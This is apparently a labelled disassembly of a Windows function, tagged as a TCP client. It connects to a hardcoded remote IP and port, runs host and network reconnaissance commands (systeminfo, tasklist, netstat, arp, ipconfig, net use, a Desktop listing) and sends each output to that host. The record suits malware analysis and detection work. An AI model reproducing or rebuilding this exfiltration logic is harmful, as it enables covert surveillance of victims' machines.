Function at 0x140003157
Capabilities:
Act as tcp client
Connect tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x14000e2a0
push rbp
push rdi
sub rsp, 0x6c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x11a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140119018]
xor rax, rbp
mov qword [rbp + 0x690], rax
lea rcx, [0x14012902a]
call fcn.14000425a
mov eax, 0x202
mov word [rbp + 4], ax
lea rdx, [rbp + 0x30]
movzx ecx, word [rbp + 4]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000e2ff
xor eax, eax
jmp 0x14000e96a
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0xffffffffffffffff
jne 0x14000e339
lea rcx, str.INVALID_SOCKET
call fcn.140002829
xor eax, eax
jmp 0x14000e96a
lea rax, [rbp + 0x208]
mov rdi, rax
xor eax, eax
mov ecx, send
rep stosb byte [rdi], al
mov eax, 2
mov word [rbp + 0x208], ax
mov cx, 0x22b9
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x20a], ax
lea r8, [rbp + 0x20c]
lea rdx, str.117.50.185.69
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rbp + 0x208]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000e3c1
lea rcx, str.CONNECT_ERROR_
call fcn.140002829
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000e96a
lea rdx, str.tasklist__svc
lea rcx, [rbp + 0x238]
call fcn.140002077
nop
lea rcx, [rbp + 0x238]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x238]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.systeminfo
lea rcx, [rbp + 0x278]
call fcn.140002077
nop
lea rcx, [rbp + 0x278]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x278]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.arp__a
lea rcx, [rbp + 0x2b8]
call fcn.140002077
nop
lea rcx, [rbp + 0x2b8]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x2b8]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.netstat__ano
lea rcx, [rbp + 0x2f8]
call fcn.140002077
nop
lea rcx, [rbp + 0x2f8]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x2f8]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.ipconfig__all
lea rcx, [rbp + 0x338]
call fcn.140002077
nop
lea rcx, [rbp + 0x338]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x338]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.dir__USERPROFILE_DESKTOP
lea rcx, [rbp + 0x378]
call fcn.140002077
nop
lea rcx, [rbp + 0x378]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x378]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.certutil__hashfile__APPDATA_MicrosoftWindowsThemesTranscodedWallpaper_SHA256
lea rcx, [rbp + 0x3b8]
call fcn.140002077
nop
lea rcx, [rbp + 0x378]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x378]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.net_use
lea rcx, [rbp + 0x3f8]
call fcn.140002077
lea rcx, [rbp + 0x3f8]
call fcn.140001488
mov rcx, rax
call fcn.1400026d5
mov qword [rbp + 0x688], rax
lea rcx, [rbp + 0x3f8]
call fcn.140001488
xor r9d, r9d
mov rcx, qword [rbp + 0x688]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400e4c28]
call fcn.1400026d5
xor r9d, r9d
mov r8d, eax
lea rdx, [0x1400e4c28]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [rbp + 0x674], 0
lea rcx, [rbp + 0x3f8]
call fcn.14000192e
nop
lea rcx, [rbp + 0x3b8]
call fcn.14000192e
nop
lea rcx, [rbp + 0x378]
call fcn.14000192e
nop
lea rcx, [rbp + 0x338]
call fcn.14000192e
nop
lea rcx, [rbp + 0x2f8]
call fcn.14000192e
nop
lea rcx, [rbp + 0x2b8]
call fcn.14000192e
nop
lea rcx, [rbp + 0x278]
call fcn.14000192e
nop
lea rcx, [rbp + 0x238]
call fcn.14000192e
mov eax, dword [rbp + 0x674]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400e4790]
call fcn.14000392c
mov rax, rdi
mov rcx, qword [rbp + 0x690]
xor rcx, rbp
call fcn.140002892
lea rsp, [rbp + 0x6a8]
pop rdi
pop rbp
ret